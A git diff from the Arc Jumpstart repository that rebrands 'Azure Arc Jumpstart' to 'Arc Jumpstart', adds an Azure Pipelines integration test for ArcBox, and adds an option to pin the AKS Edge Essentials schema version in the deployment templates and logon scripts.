diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md index 6df1323bc9..793965a29c 100644 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -8,7 +8,10 @@ assignees: '' --- - + + +> **Note:** For ease of issues and pull requests management and tracking, we kindly ask you to provide a meaningful and concise title to this issue and answer all questions to the best of your ability. + **Is your issue related to a Jumpstart scenario, ArcBox, HCIBox, or Agora?** @@ -31,12 +34,12 @@ assignees: '' **Have you looked at the Troubleshooting and Logs section?** **Screenshots** diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md index d4c6fce7ed..224f83547f 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -6,10 +6,12 @@ labels: '' assignees: '' --- - + + +> **Note:** For ease of issues and pull requests management and tracking, we kindly ask you to provide a meaningful and concise title to this feature request and answer all questions to the best of your ability. **Is your feature request related to a new Jumpstart scenario you would like to contribute?** - + **Is your feature request related to a problem? Please describe.** diff --git a/.github/policies/issues.yml b/.github/policies/issues.yml index 76faa28698..8abdf57aa5 100644 --- a/.github/policies/issues.yml +++ b/.github/policies/issues.yml @@ -1,5 +1,5 @@ name: Housekeeping - Issues management -description: Azure Arc Jumpstart management of issues using GitHub Policies +description: Arc Jumpstart management of issues using GitHub Policies owner: resource: repository disabled: false @@ -61,7 +61,7 @@ configuration: action: Opened then: - addReply: - reply: 'Hi ${issueAuthor}! Thank you for opening this issue. We appreciate your contribution and welcome you to our community! We are glad to have you here and to have your input on the Azure Arc Jumpstart.' + reply: 'Hi ${issueAuthor}! Thank you for opening this issue. We appreciate your contribution and welcome you to our community! We are glad to have you here and to have your input on the Arc Jumpstart.' description: - if: - payloadType: Issue_Comment diff --git a/.github/policies/pullrequests.yml b/.github/policies/pullrequests.yml index f33b183f93..45bac05086 100644 --- a/.github/policies/pullrequests.yml +++ b/.github/policies/pullrequests.yml @@ -1,5 +1,5 @@ name: Housekeeping - PRs management -description: Azure Arc Jumpstart management of PRs using GitHub Policies +description: Arc Jumpstart management of PRs using GitHub Policies owner: resource: repository disabled: false @@ -60,7 +60,7 @@ configuration: action: Opened then: - addReply: - reply: 'Hi ${issueAuthor}! Thank you for opening this Pull Request. Someone will review it soon. Thank you for committing to making the Azure Arc Jumpstart better.' + reply: 'Hi ${issueAuthor}! Thank you for opening this Pull Request. Someone will review it soon. Thank you for committing to making the Arc Jumpstart better.' description: - if: - payloadType: Pull_Request_Review diff --git a/README.md b/README.md index b8a36d38fc..316dba9c9d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -# Azure Arc Jumpstart source code +# Arc Jumpstart source code Welcome to the Arc Jumpstart source code repository! This repository is your go-to resource for working with and contributing to the Arc Jumpstart automation scripts and tools and acts as the backend source code repository which complements our [documentation repository](https://github.com/Azure/arc_jumpstart_docs) that eventually populates the [Arc Jumpstart](https://aka.ms/arcjumpstart) website. diff --git a/azure-pipelines.yml b/azure-pipelines.yml new file mode 100644 index 0000000000..7f3f6c576a --- /dev/null +++ b/azure-pipelines.yml @@ -0,0 +1,147 @@ +trigger: + branches: + include: + - arcbox_3.0 + paths: + include: + - azure_jumpstart_arcbox/* + +parameters: +- name: ResourceGroupName + displayName: 'Resource Group Name' + type: string + default: 'arcbox-itpro-integration-tests' +- name: AzureSubscription + displayName: 'Azure Subscription' + type: string + default: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' +- name: githubAccount + displayName: 'githubAccount' + type: string + default: 'microsoft' +- name: githubBranch + displayName: 'githubBranch' + type: string + default: 'arcbox_3.0' +- name: flavor + displayName: 'flavor' + type: string + default: 'ITPro' + +variables: +- group: 'integration-tests' +- name: ResourceGroupName + value: ${{parameters.ResourceGroupName}} +- name: githubAccount + value: ${{parameters.githubAccount}} +- name: githubBranch + value: ${{parameters.githubBranch}} +- name: flavor + value: ${{parameters.flavor}} + +stages: +- stage: 'ArcBox_deployment' + jobs: + - job: Deploy + timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown + pool: + name: arc-jumpstart-container-apps-pool + #vmImage: 'ubuntu-latest' + continueOnError: 'true' + steps: + + - task: BicepInstall@0 + displayName: 'Install Bicep' + inputs: + version: 0.24.24 + + - task: AzurePowerShell@5 + displayName: 'Deploy resource group' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Running deployment from machine $(hostname) and public IP $(irm ifconfig.me/ip)" + $RGname = "$(ResourceGroupName)" + New-AzResourceGroup -Name $RGname -Location "eastus" + + - task: AzurePowerShell@5 + displayName: 'Deploy Bicep template' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deploying to $(ResourceGroupName)" + $githubAccount = "$(githubAccount)" + $githubBranch = "$(githubBranch)" + $flavor = "$(flavor)" + if ($githubAccount -ne "microsoft") { + Write-Host "Checking out $githubAccount/$githubBranch" + git remote add upstream https://github.com/$($githubAccount)/azure_arc.git + git fetch upstream + git checkout -b $githubBranch upstream/$githubBranch + } + New-AzResourceGroupDeployment -Name ArcBox ` + -ResourceGroupName $(ResourceGroupName) ` + -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` + -TemplateParameterObject @{ ` + spnClientId = "$(spnClientId)" ; ` + spnClientSecret = "$(spnClientSecret)" ; ` + spnTenantId = "$(spnTenantId)" ; ` + windowsAdminUsername = "arcdemo" ; ` + windowsAdminPassword = "$(windowsAdminPassword)" ; ` + sshRSAPublicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" ; ` + logAnalyticsWorkspaceName = "arcbox-la" ; ` + flavor = $flavor ; ` + deployBastion = $false ; ` + githubAccount = $githubAccount ; ` + githubBranch = $githubBranch ; ` + vmAutologon = $true ; ` + rdpPort = "3389" ` + } + + + - task: AzurePowerShell@5 + displayName: 'Upload Pester test-results from ArcBox VM' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) -githubAccount $(githubAccount) -githubBranch $(githubBranch) + + - task: AzurePowerShell@5 + displayName: 'Download Pester test-results from storage account to pipeline agent' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFormat: NUnit + testResultsFiles: '$(System.DefaultWorkingDirectory)/testresults/*.xml' + +- stage: destroy + displayName: 'ArcBox_teardown' + #condition: succeeded('deploy') + jobs: + - deployment: + displayName: "Get approval" + environment: 'teardown_approval' + - job: Delete + steps: + - task: AzurePowerShell@5 + displayName: 'Delete resource group' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deleting resource group $(ResourceGroupName)" + Remove-AzResourceGroup -Name $(ResourceGroupName) -Force -WhatIf \ No newline at end of file diff --git a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 index a28047d478..fcf497b3e4 100644 --- a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 +++ b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/deployAppService.ps1 @@ -7,7 +7,7 @@ $customLocationId = $(az customlocation show --name "jumpstart-cl" --resource-gr az appservice plan create --resource-group $Env:resourceGroup --name Jumpstart --custom-location $customLocationId --per-site-scaling --is-linux --sku K1 Write-Host "`n" -Write-Host "Deploy a sample Azure Arc Jumpstart web application" +Write-Host "Deploy a sample Arc Jumpstart web application" Write-Host "`n" az webapp create --plan Jumpstart --resource-group $Env:resourceGroup --name jumpstart-app --custom-location $customLocationId --deployment-container-image-name azurearcjumpstart.azurecr.io/hello-arc:latest az webapp config appsettings set --resource-group $Env:resourceGroup --name jumpstart-app --settings WEBSITES_PORT=8080 \ No newline at end of file diff --git a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json index dbecdd9340..fb94944133 100644 --- a/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json +++ b/azure_arc_app_services_jumpstart/aks/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json @@ -11,7 +11,7 @@ } }, "method": "post", - "body": "Azure Arc Jumpstart is amazing!", + "body": "Arc Jumpstart is amazing!", "headers": { "ReadFileMetadataFromServer": true }, diff --git a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 index 1e87418140..7e9f6f09f9 100644 --- a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 +++ b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/deployAppService.ps1 @@ -7,7 +7,7 @@ $customLocationId = $(az customlocation show --name "$Env:capiArcAppClusterName- az appservice plan create --resource-group $Env:resourceGroup --name Jumpstart --custom-location $customLocationId --per-site-scaling --is-linux --sku K1 Write-Host "`n" -Write-Host "Deploy a sample Azure Arc Jumpstart web application" +Write-Host "Deploy a sample Arc Jumpstart web application" Write-Host "`n" az webapp create --plan Jumpstart --resource-group $Env:resourceGroup --name jumpstart-app --custom-location $customLocationId --deployment-container-image-name azurearcjumpstart.azurecr.io/hello-arc:latest az webapp config appsettings set --resource-group $Env:resourceGroup --name jumpstart-app --settings WEBSITES_PORT=8080 \ No newline at end of file diff --git a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json index dbecdd9340..fb94944133 100644 --- a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json +++ b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/artifacts/logicAppCode/CreateBlobFromQueueMessage/workflow.json @@ -11,7 +11,7 @@ } }, "method": "post", - "body": "Azure Arc Jumpstart is amazing!", + "body": "Arc Jumpstart is amazing!", "headers": { "ReadFileMetadataFromServer": true }, diff --git a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/azuredeploy.json b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/azuredeploy.json index 7bb029a8e7..4db8486fd5 100644 --- a/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/azuredeploy.json +++ b/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/azuredeploy.json @@ -118,12 +118,10 @@ }, "variables": { "templateBaseUrl": "[concat('https://raw.githubusercontent.com/', parameters('githubAccount'), '/azure_arc/', parameters('githubBranch'), '/azure_arc_app_services_jumpstart/cluster_api/capi_azure/ARM/')]", - "capiTemplateUrl": "[uri(variables('templateBaseUrl'), 'ubuntuCapi.json')]", "clientVmTemplateUrl": "[uri(variables('templateBaseUrl'), 'clientVm.json')]", "mgmtStagingStorageUrl": "[uri(variables('templateBaseUrl'), 'mgmtStagingStorage.json')]", "logAnalyticsUrl": "[uri(variables('templateBaseUrl'), 'logAnalytics.json')]", "VNETUrl": "[uri(variables('templateBaseUrl'), 'VNET.json')]", - "capiArcAppClusterName": "[concat('ArcBox-CAPI-Data','-',parameters('guid'))]", // Virtual Network configuration "virtualNetworkName": "Arc-App-CAPI-VNet", "subnetName": "Arc-App-CAPI-Subnet", @@ -167,68 +165,6 @@ } } }, - { - "type": "Microsoft.Resources/deployments", - "comments": "Deploy the CAPI environment", - "apiVersion": "2021-04-01", - "name": "ubuntuCAPIDeployment", - "dependsOn": [ "stagingStorageAccountDeployment", "VNETDeployment" ], - "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('capiTemplateUrl')]", - "contentVersion": "1.0.0.0" - }, - "parameters": { - "sshRSAPublicKey": { - "value": "[parameters('sshRSAPublicKey')]" - }, - "spnClientId": { - "value": "[parameters('spnClientId')]" - }, - "spnClientSecret": { - "value": "[parameters('spnClientSecret')]" - }, - "spnTenantId": { - "value": "[parameters('spnTenantId')]" - }, - "stagingStorageAccountName": { - "value": "[reference('stagingStorageAccountDeployment').outputs.storageAccountName.value]" - }, - "logAnalyticsWorkspaceName": { - "value": "[parameters('logAnalyticsWorkspaceName')]" - }, - "templateBaseUrl": { - "value": "[variables('templateBaseUrl')]" - }, - "virtualNetworkName": { - "value": "[variables('virtualNetworkName')]" - }, - "subnetName": { - "value": "[variables('subnetName')]" - }, - "subnetAddressPrefix": { - "value": "[variables('subnetAddressPrefix')]" - }, - "deployBastion": { - "value": "[parameters('deployBastion')]" - }, - "bastionHostName": { - "value": "[parameters('bastionHostName')]" - }, - "bastionSubnetRef": { - "value": "[variables('bastionSubnetRef')]" - }, - "bastionSubnetPrefix": { - "value": "[variables('bastionSubnetPrefix')]" - }, - "capiArcAppClusterName" : { - "value": "[variables('capiArcAppClusterName')]" - } - - } - } - }, { "type": "Microsoft.Resources/deployments", "comments": "Deploys the Client Windows VM", @@ -298,9 +234,6 @@ }, "bastionSubnetPrefix": { "value": "[variables('bastionSubnetPrefix')]" - }, - "capiArcAppClusterName" : { - "value": "[variables('capiArcAppClusterName')]" } } } diff --git a/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh b/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh index 5fc1016c33..1b7173841d 100755 --- a/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh +++ b/azure_arc_k8s_jumpstart/aks/gitops/basic/az_k8sconfig_aks.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export namespace='hello-arc' # Getting AKS credentials diff --git a/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh b/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh index 7adbebdd91..65f706d368 100755 --- a/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh +++ b/azure_arc_k8s_jumpstart/aks/gitops/helm/az_k8sconfig_helm_aks.sh @@ -8,7 +8,7 @@ export password='' export tenantId='' export resourceGroup='' export arcClusterName='' -export appClonedRepo='' +export appClonedRepo='' export ingressNamespace='ingress-nginx' export namespace='hello-arc' diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/Bootstrap.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/Bootstrap.ps1 index 5b03d7a538..4f772e4fb1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/Bootstrap.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/Bootstrap.ps1 @@ -12,7 +12,8 @@ param ( [string]$rdpPort, [string]$githubAccount, [string]$githubBranch, - [string]$kubernetesDistribution + [string]$kubernetesDistribution, + [string]$AKSEEPinnedSchemaVersion ) # Inject ARM template parameters as environment variables @@ -30,6 +31,7 @@ param ( [System.Environment]::SetEnvironmentVariable('githubAccount', $githubAccount, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubBranch', $githubBranch, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('kubernetesDistribution', $kubernetesDistribution, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('AKSEEPinnedSchemaVersion', $AKSEEPinnedSchemaVersion, [System.EnvironmentVariableTarget]::Machine) # Create path Write-Output "Create deployment path" diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/LogonScript.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/LogonScript.ps1 index 9edbc10400..287d8a8e9e 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/LogonScript.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/artifacts/LogonScript.ps1 @@ -19,6 +19,7 @@ $hypervVMUser = "Administrator" $hypervVMPassword = "JS123!!" $kubernetesDistribution = $env:kubernetesDistribution $aksEEReleasesUrl = "https://api.github.com/repos/Azure/AKS-Edge/releases" +$AKSEEPinnedSchemaVersion = $Env:AKSEEPinnedSchemaVersion Write-Header "Executing LogonScript.ps1" @@ -248,6 +249,7 @@ Invoke-Command -VMName $VMnames -Credential $Credentials -ScriptBlock { $logsFolder = "$deploymentFolder\Logs" Start-Transcript -Path $logsFolder\AKSEEBootstrap.log $SiteConfig = $using:SiteConfig + $AKSEEPinnedSchemaVersion = $using:AKSEEPinnedSchemaVersion ########################################## # Deploying AKS Edge Essentials clusters @@ -299,18 +301,21 @@ Invoke-Command -VMName $VMnames -Credential $Credentials -ScriptBlock { } Write-Host "Fetching the latest AKS Edge Essentials release." -$latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name - -$AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" -$output = Join-Path "C:\temp" "$latestReleaseTag.zip" -Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output -Expand-Archive $output -DestinationPath "C:\temp" -Force -$AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" -$jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json -$schemaVersion = $jsonContent.SchemaVersion -# Clean up the downloaded release files -Remove-Item -Path $output -Force -Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +if ($AKSEEPinnedSchemaVersion -ne "useLatest") { + $SchemaVersion = $AKSEEPinnedSchemaVersion +}else{ + $latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name + $AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" + $output = Join-Path "C:\temp" "$latestReleaseTag.zip" + Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output + Expand-Archive $output -DestinationPath "C:\temp" -Force + $AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" + $jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json + $schemaVersion = $jsonContent.SchemaVersion + # Clean up the downloaded release files + Remove-Item -Path $output -Force + Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +} ############################################################################### # Setting up replacment parameters for AKS Edge Essentials config json file diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep index 9864ea8918..37d329c5d1 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/clientVm/clientVm.bicep @@ -50,6 +50,9 @@ param githubAccount string = 'microsoft' @description('Target GitHub branch') param githubBranch string = 'main' +@description('The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing.') +param AKSEEPinnedSchemaVersion string = 'useLatest' + var encodedPassword = base64(windowsAdminPassword) var bastionName = 'AKS-EE-Full-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -153,7 +156,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -templateBaseUrl ${templateBaseUrl} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -kubernetesDistribution ${kubernetesDistribution}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${encodedPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azureLocation ${location} -templateBaseUrl ${templateBaseUrl} -githubAccount ${githubAccount} -githubBranch ${githubBranch} -kubernetesDistribution ${kubernetesDistribution} -AKSEEPinnedSchemaVersion ${AKSEEPinnedSchemaVersion}' } } } diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep index c3bd7906b0..333f517c89 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/main.bicep @@ -42,6 +42,11 @@ param subnetNameCloud string = 'AKS-EE-Full-Subnet' @description('AKS Edge Essentials Kubernetes distribution') param kubernetesDistribution string +@description('''The AKS Edge Essentials schema version to be used. This is only used to pin the AKS Edge Essentials schema version for testing. +To pin a specific version, use the format '1.13'. To use the latest schema version, use 'useLatest'. +''') +param AKSEEPinnedSchemaVersion string = '1.13' + var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full/bicep_template/' module networkDeployment 'mgmt/network.bicep' = { @@ -69,5 +74,6 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { location: location subnetId: networkDeployment.outputs.subnetId kubernetesDistribution: kubernetesDistribution + AKSEEPinnedSchemaVersion: AKSEEPinnedSchemaVersion } } diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/Bootstrap.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/Bootstrap.ps1 index 28b1dff0da..4d2e55dc4a 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/Bootstrap.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/Bootstrap.ps1 @@ -12,7 +12,8 @@ param ( [string]$rdpPort, [string]$githubAccount, [string]$githubBranch, - [string]$kubernetesDistribution + [string]$kubernetesDistribution, + [string]$AKSEEPinnedSchemaVersion ) # Inject ARM template parameters as environment variables @@ -30,6 +31,7 @@ param ( [System.Environment]::SetEnvironmentVariable('githubAccount', $githubAccount, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('githubBranch', $githubBranch, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('kubernetesDistribution', $kubernetesDistribution, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('AKSEEPinnedSchemaVersion', $AKSEEPinnedSchemaVersion, [System.EnvironmentVariableTarget]::Machine) # Create path Write-Output "Create deployment path" diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/LogonScript.ps1 b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/LogonScript.ps1 index 069546afbe..8c299965a9 100644 --- a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/LogonScript.ps1 +++ b/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/artifacts/LogonScript.ps1 @@ -20,6 +20,7 @@ $hypervVMPassword = "JS123!!" $kubernetesDistribution = $env:kubernetesDistribution $templateBaseUrl = $env:templateBaseUrl $aksEEReleasesUrl = "https://api.github.com/repos/Azure/AKS-Edge/releases" +$AKSEEPinnedSchemaVersion = $Env:AKSEEPinnedSchemaVersion Write-Header "Executing LogonScript.ps1" @@ -233,7 +234,6 @@ Invoke-Command -VMName $VMnames -Credential $Credentials -ScriptBlock { $deploymentFolder = "C:\Deployment" # Deployment folder is already pre-created in the VHD image $logsFolder = "$deploymentFolder\Logs" $kubeFolder = "$env:USERPROFILE\.kube" - # Set up an array of folders $folders = @($logsFolder, $kubeFolder) @@ -252,6 +252,7 @@ Invoke-Command -VMName $VMnames -Credential $Credentials -ScriptBlock { $logsFolder = "$deploymentFolder\Logs" Start-Transcript -Path $logsFolder\AKSEEBootstrap.log $SiteConfig = $using:SiteConfig + $AKSEEPinnedSchemaVersion = $using:AKSEEPinnedSchemaVersion ########################################## # Deploying AKS Edge Essentials clusters @@ -303,19 +304,21 @@ Invoke-Command -VMName $VMnames -Credential $Credentials -ScriptBlock { } Write-Host "Fetching the latest AKS Edge Essentials release." -$latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name - -$AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" -$output = Join-Path "C:\temp" "$latestReleaseTag.zip" -Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output -Expand-Archive $output -DestinationPath "C:\temp" -Force -$AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" -$jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json -$schemaVersion = $jsonContent.SchemaVersion -# Clean up the downloaded release files -Remove-Item -Path $output -Force -Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse - +if ($AKSEEPinnedSchemaVersion -ne "useLatest") { + $SchemaVersion = $AKSEEPinnedSchemaVersion +}else{ + $latestReleaseTag = (Invoke-WebRequest $aksEEReleasesUrl | ConvertFrom-Json)[0].tag_name + $AKSEEReleaseDownloadUrl = "https://github.com/Azure/AKS-Edge/archive/refs/tags/$latestReleaseTag.zip" + $output = Join-Path "C:\temp" "$latestReleaseTag.zip" + Invoke-WebRequest $AKSEEReleaseDownloadUrl -OutFile $output + Expand-Archive $output -DestinationPath "C:\temp" -Force + $AKSEEReleaseConfigFilePath = "C:\temp\AKS-Edge-$latestReleaseTag\tools\aksedge-config.json" + $jsonContent = Get-Content -Raw -Path $AKSEEReleaseConfigFilePath | ConvertFrom-Json + $schemaVersion = $jsonContent.SchemaVersion + # Clean up the downloaded release files + Remove-Item -Path $output -Force + Remove-Item -Path "C:\temp\AKS-Edge-$latestReleaseTag" -Force -Recurse +} ############################################################################### # Setting up replacment parameters for AKS Edge Essentials config json file diff --git a/azure_arc_k8s_jumpstart/aks_hybrid/aks_edge_essentials_full_akri/bicep_template/clientVm/clientVm.bicep 